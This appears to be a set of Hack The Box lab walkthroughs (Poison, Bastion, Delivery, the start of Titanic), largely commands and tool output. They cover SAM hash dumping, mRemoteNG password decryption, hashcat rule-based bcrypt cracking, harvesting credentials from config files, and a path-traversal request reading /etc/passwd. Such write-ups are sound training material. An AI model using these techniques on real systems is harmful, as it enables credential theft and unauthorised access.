┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ nmap localhost -p 5901
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-04 17:35 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000067s latency).
Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE
5901/tcp open vnc-1

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ vncviewer localhost
vncviewer: ConnectToTcpAddr: connect: Connection refused
Unable to connect to VNC server

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ vncviewer localhost:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
 32 bits per pixel.
 Least significant byte first in each pixel.
 True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
 32 bits per pixel.
 Least significant byte first in each pixel.
 True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

--------- VNCVIEWER -------------

root@Poison:~ # whoami
root
root@Poison:~ # cat root.txt
716d.....61f5

HTB | Bastion

Mon, 03 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bastion	Windows	10.10.10.134	Easy

Users

1
2
3


L4mpje : bureaulampje
Administrator : thXLHM96BeKL0ER2
Peter : 3RTTT5zNt2

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.134
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
| 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Host script results:
| smb2-time:
| date: 2025-02-27T22:08:39
|_ start_date: 2025-02-27T22:04:13
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-02-27T23:08:38+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m59s, deviation: 34m38s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 26941/tcp): CLEAN (Couldn't connect)
| Check 2 (port 51775/tcp): CLEAN (Couldn't connect)
| Check 3 (port 18741/udp): CLEAN (Failed to receive data)
| Check 4 (port 15523/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked

Foothold

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Bastion]
└─$ smbclient --no-pass -L //10.10.10.134

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 Backups Disk
 C$ Disk Default share
 IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Mount backup windows disk VDB

1

guestmount -a ./9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro /mnt/vhd_mount

Retrieve hashes from Windows files

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# cp /mnt/vhd_mount/Windows/System32/config/SAM .
cp /mnt/vhd_mount/Windows/System32/config/SYSTEM .
cp /mnt/vhd_mount/Windows/System32/config/SECURITY .

┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# ls
SAM SECURITY SYSTEM

┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...

Hashcat bruteforce

On a la confirmation que le mot de passe est bien: bureaulampje

1
2


hashcat -m 1000 hash.txt ~/wordlists/rockyou.txt --show
26112010952d963c8dc4217daec986d9:bureaulampje

SSH L4mpje

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~]
└─$ ssh L4mpje@10.10.10.134
Password: bureaulampje

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje

l4mpje@BASTION C:\Users\L4mpje>type Desktop\user.txt
1018.....3717

Recycle Bin - Peter username/pass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> dir -ah


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 22-2-2019 13:50 129 desktop.ini


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat .\desktop.ini
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> Get-ChildItem


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 22-2-2019 13:56 214 $I1MMX2E.txt
-a---- 22-2-2019 13:56 218 $INTSJCP.bat
-a---- 22-2-2019 13:54 67 $R1MMX2E.txt
-a---- 22-2-2019 13:56 58 $RNTSJCP.bat


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> Get-ChildItem -Force


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 22-2-2019 13:56 214 $I1MMX2E.txt
-a---- 22-2-2019 13:56 218 $INTSJCP.bat
-a---- 22-2-2019 13:54 67 $R1MMX2E.txt
-a---- 22-2-2019 13:56 58 $RNTSJCP.bat
-a-hs- 22-2-2019 13:50 129 desktop.ini


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$RNTSJCP.bat'
NET USE Z: "\\192.168.1.74\Backups" /user:Peter 3RTTT5zNt2
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> date

maandag 3 maart 2025 00:05:57


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$I1MMX2E.txt'
 C P9c ®ÊÔ]] C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
S t a r t M e n u \ P r o g r a m s \ S t a r t u p \ L 4 m p j e . b a t . t x t
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$INTSJCP.bat'
 :
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 ®ÊÔ_ C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 ®®ÊÔ__ C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
S t a r t M e n u \ P r o g r a m s \ S t a r t u p \ P e t e r - s c r i p t . b a t
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$R1MMX2E.txt'
NET USE Z: "\\192.168.1.74\Backups" /user:L4mpje /pass:bureaulampje
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$RNTSJCP.bat'
NET USE Z: "\\192.168.1.74\Backups" /user:Peter 3RTTT5zNt2

Privilege Escalation

mRemoteNG

En regardant les logiciels installés de plus près, on observe un logiciel intéressant et suspect. Il permet de se connecter à des systèmes en s’authentificant avec des mots de passe stocker dans sa configuration.

Recuperation du fichier de configuration

En cherchant sur internet on trouve cette info :

1

%APPDATA%\mRemoteNG\confCons.xml

Ce fichier semble contenir les mots de passe d’après un internaute. Après vérification, on retrouve le hachage du mot de passe de l’Administrateur ainsi que celui de L4mpje :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> ls


 Directory: C:\Users\L4mpje\Appdata\Roaming\mRemoteNG


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 22-2-2019 14:01 Themes
-a---- 22-2-2019 14:03 6316 confCons.xml
-a---- 22-2-2019 14:02 6194 confCons.xml.20190222-1402277353.backup
-a---- 22-2-2019 14:02 6206 confCons.xml.20190222-1402339071.backup
-a---- 22-2-2019 14:02 6218 confCons.xml.20190222-1402379227.backup
-a---- 22-2-2019 14:02 6231 confCons.xml.20190222-1403070644.backup
-a---- 22-2-2019 14:03 6319 confCons.xml.20190222-1403100488.backup
-a---- 22-2-2019 14:03 6318 confCons.xml.20190222-1403220026.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403261268.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403272831.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403433299.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403486580.backup
-a---- 22-2-2019 14:03 51 extApps.xml
-a---- 22-2-2019 14:03 5217 mRemoteNG.log
-a---- 22-2-2019 14:03 2245 pnlLayout.xml


PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> cat .\confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
 <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
...
 <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128"
 Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB"
 ...

Donc : Administrator : aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Déchiffrement du hachage de l’Administrateur

Un outil est dispo sur github pour cracker ce genre de fichier : https://github.com/haseebT/mRemoteNG-Decrypt

1
2
3


┌──(kali㉿kali)-[~/htb/Bastion/mRemoteNG-Decrypt]
└─$ python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2

Connection en SSH - root flag

1
2
3
4
5
6
7
8
9


┌──(kali㉿kali)-[~/htb/Bastion]
└─$ ssh Administrator@10.10.10.134
Administrator@10.10.10.134's password: ** thXLHM96BeKL0ER2 **

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>type Desktop\root.txt
e90b.....42f6

HTB | Delivery

Mon, 24 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Delivery	Linux	10.10.10.222	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


┌──(kali㉿kali)-[~/htb/Delivery]
└─$ nmap -sC -sV -An -p- -T4 -vvv 10.10.10.222
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq549E025Q9FR27LDR6WZRQ52ikKjKUQLmE9ndEKjB0i1qOoL+WzkvqTdqEU6fFW6AqUIdSEd7GMNSMOk66otFgSoerK6MmH5IZjy4JqMoNVPDdWfmEiagBlG3H7IZ7yAO8gcg0RRrIQjE7XTMV09GmxEUtjojoLoqudUvbUi8COHCO6baVmyjZRlXRCQ6qTKIxRZbUAo0GOY8bYmf9sMLf70w6u/xbE2EYDFH+w60ES2K906x7lyfEPe73NfAIEhHNL8DBAUfQWzQjVjYNOLqGp/WdlKA1RLAOklpIdJQ9iehsH0q6nqjeTUv47mIHUiqaM+vlkCEAN3AAQH5mB/1
| 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAiAKnk2lw0GxzzqMXNsPQ1bTk35WwxCa3ED5H34T1yYMiXnRlfssJwso60D34/IM8vYXH0rznR9tHvjdN7R3hY=
| 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEV5D6eYjySqfhW4l4IF1SZkZHxIRihnY6Mn6D8mLEW7
80/tcp open http syn-ack ttl 63 nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Welcome
8065/tcp open unknown syn-ack ttl 63
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, max-age=31556926, public
| Content-Length: 3108
| Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
| Content-Type: text/html; charset=utf-8
| Last-Modified: Fri, 21 Feb 2025 11:56:08 GMT
| X-Frame-Options: SAMEORIGIN
| X-Request-Id: 518yfkngnbbmtm9xgi7thkpkdr
| X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
| Date: Fri, 21 Feb 2025 12:00:01 GMT
| <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Date: Fri, 21 Feb 2025 12:00:02 GMT
|_ Content-Length: 0

Foothold

Mattermost / helpdesk.delivery.htb

On peut poster des tickets. Lorsqu’on poste un ticket on nous donne un numero et une email auxquelle on peut ecrire par exemple: 1239870@delivery.htb

On a aussi un serveur “Mattermost” avec une page de login sur lequel on peut créer un compte avec l’email: 1239870@delivery.htb

On nous demande une confirmation. On recoit cette email… directement sur le status du ticket crée précédemment !

1

---- Registration Successful ---- Please activate your email by going to: http://delivery.htb:8065/do_verify_email?token=49opc49pbwfahgew54koaa699uawqjjxt3xpanuwpte3jgf6etkczaprg8487und&email=1568729%40delivery.htb

Internal Channel

On obtient un accès a la plateforme après avoir cliqué sur le lien de confirmation. On rejoint l’équipe “internal” qui donnne accès à un channel internal avec des messages !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


root
9:29 AM

@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_G0t_Mail!
9:30 AM

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
root
10:58 AM!

PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.

maildeliverer:Youve_G0t_Mail!

maildeliver account: user flag

Il suffit de se connecter en ssh avec les creds de “maildeliver” !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


┌──(kali㉿kali)-[~/htb/Delivery]
└─$ ssh maildeliverer@delivery.htb
maildeliverer@delivery.htb's password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 23 17:28:33 2025 from 10.10.14.3
maildeliverer@Delivery:~$ ls
user.txt
maildeliverer@Delivery:~$ cat user.txt
fe3d.....c5aa

Privilege Escalation

DB password

On trouve un fichier avec des creds pour se connecter a la base de données mysql (port 3306):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


maildeliverer@Delivery:/var/www/osticket$ cat upload/include/ost-config.php
<?php
/*********************************************************************
 ost-config.php

...

## Database Options
## ---------------------------------------------------
## Mysql Login info
define('DBTYPE','mysql');
define('DBHOST','localhost');
define('DBNAME','osticket');
define('DBUSER','ost_user');
define('DBPASS','!H3lpD3sk123!');

1
2
3
4
5
6


MariaDB [osticket]> select username,firstname,lastname,passwd,email from ost_staff;
+---------------+-----------+----------+--------------------------------------------------------------+----------------------------+
| username | firstname | lastname | passwd | email |
+---------------+-----------+----------+--------------------------------------------------------------+----------------------------+
| maildeliverer | Delivery | Person | $2a$08$VlccTgoFaxEaGJnZtWwJBOf2EqMW5L1ZLA72QoQN/TrrOJt9mFGcy | maildeliverer@delivery.htb |
+---------------+-----------+----------+--------------------------------------------------------------+----------------------------+

On trouve bien qu’il s’agit du même mot de passe qu’en ssh :

1
2
3
4


$2a$08$VlccTgoFaxEaGJnZtWwJBOf2EqMW5L1ZLA72QoQN/TrrOJt9mFGcy:Youve_G0t_Mail!

Session..........: hashcat
Status...........: Cracked

La base de données mysql est donc une fausse piste, ce n’est pas le hash qui nous intéresse

Mattermost config

En cherchant un peu on trouve le fichier de config de mattermost:

1
2
3


maildeliverer@Delivery:/opt/mattermost/config$ cat config.json | grep user
 "TeammateNameDisplay": "username",
 "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",

On a donc une nouvelle base de donnée : mattermost et de nouveaux creds: mmuser:Crack_The_MM_Admin_PW

Récupération des hachages

On trouve tous les hash de password pour mattermost cette fois, ce qui est nettement plus intéressant à première vu:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


MariaDB [mattermost]> select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username | Password |
+----------------------------------+--------------------------------------------------------------+
| helloguys | $2a$10$nX8mrkBf3qoX5hnoxZKg..9SzAx.oVvfCGelMzzebV6Oa2HI8eq0K |
| surveybot | |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport | |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
| aaaaaa | $2a$10$J1d0c.sHFogqV5LoR72JXeFGTQAaAGRVmZJRX1WgyHq/VDiI55..W |
+----------------------------------+--------------------------------------------------------------+

Hashcat best rules - creating password list

On crée une nouvelle liste basée sur le mot clé ‘PleaseSubscribe!’ comme préciser sur le forum, à l’aide des regles de mutation de mot de passe de hashcat :

1
2


$ echo -e 'PleaseSubscribe!' > base_words.txt
$ hashcat --stdout base_words.txt -r /usr/share/hashcat/rules/best64.rule > mutated_wordlist.txt

Il ne reste plus qu’a bruteforcer les hachages avec la liste générée :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ hashcat -m 3200 hash.txt ./mutated_wordlist.txt
hashcat (v6.2.5) starting

...

Dictionary cache hit:
* Filename..: ./mutated_wordlist.txt
* Passwords.: 77
* Bytes.....: 1177
* Keyspace..: 77

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

root flag

Il ne reste plus qu’a se connecter avec le mot de passe :

1
2
3
4


maildeliverer@Delivery:~$ su - root
Password:
root@Delivery:~# cat /root/root.txt
eb84.....c688

HTB | Titanic

Fri, 21 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Titanic	Linux	10.10.11.55	Easy

Users

1

developer : `25282528`

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


┌──(kali㉿kali)-[~/htb/Titanic]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.55
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
| 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Foothold

Website titanic.htb : LFI

On a un formulaire qu’on peut remplir pour reserver notre voyage. A la fin, ça nous fait telecharger un fichier .json avec notre ticket. Or, si on maniule cet argument ticket= on peut récupérer le contenu de n’importe quel fichier

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


GET /download?ticket=../../../../../../../../etc/passwd HTTP/1.1
Host: titanic.htb
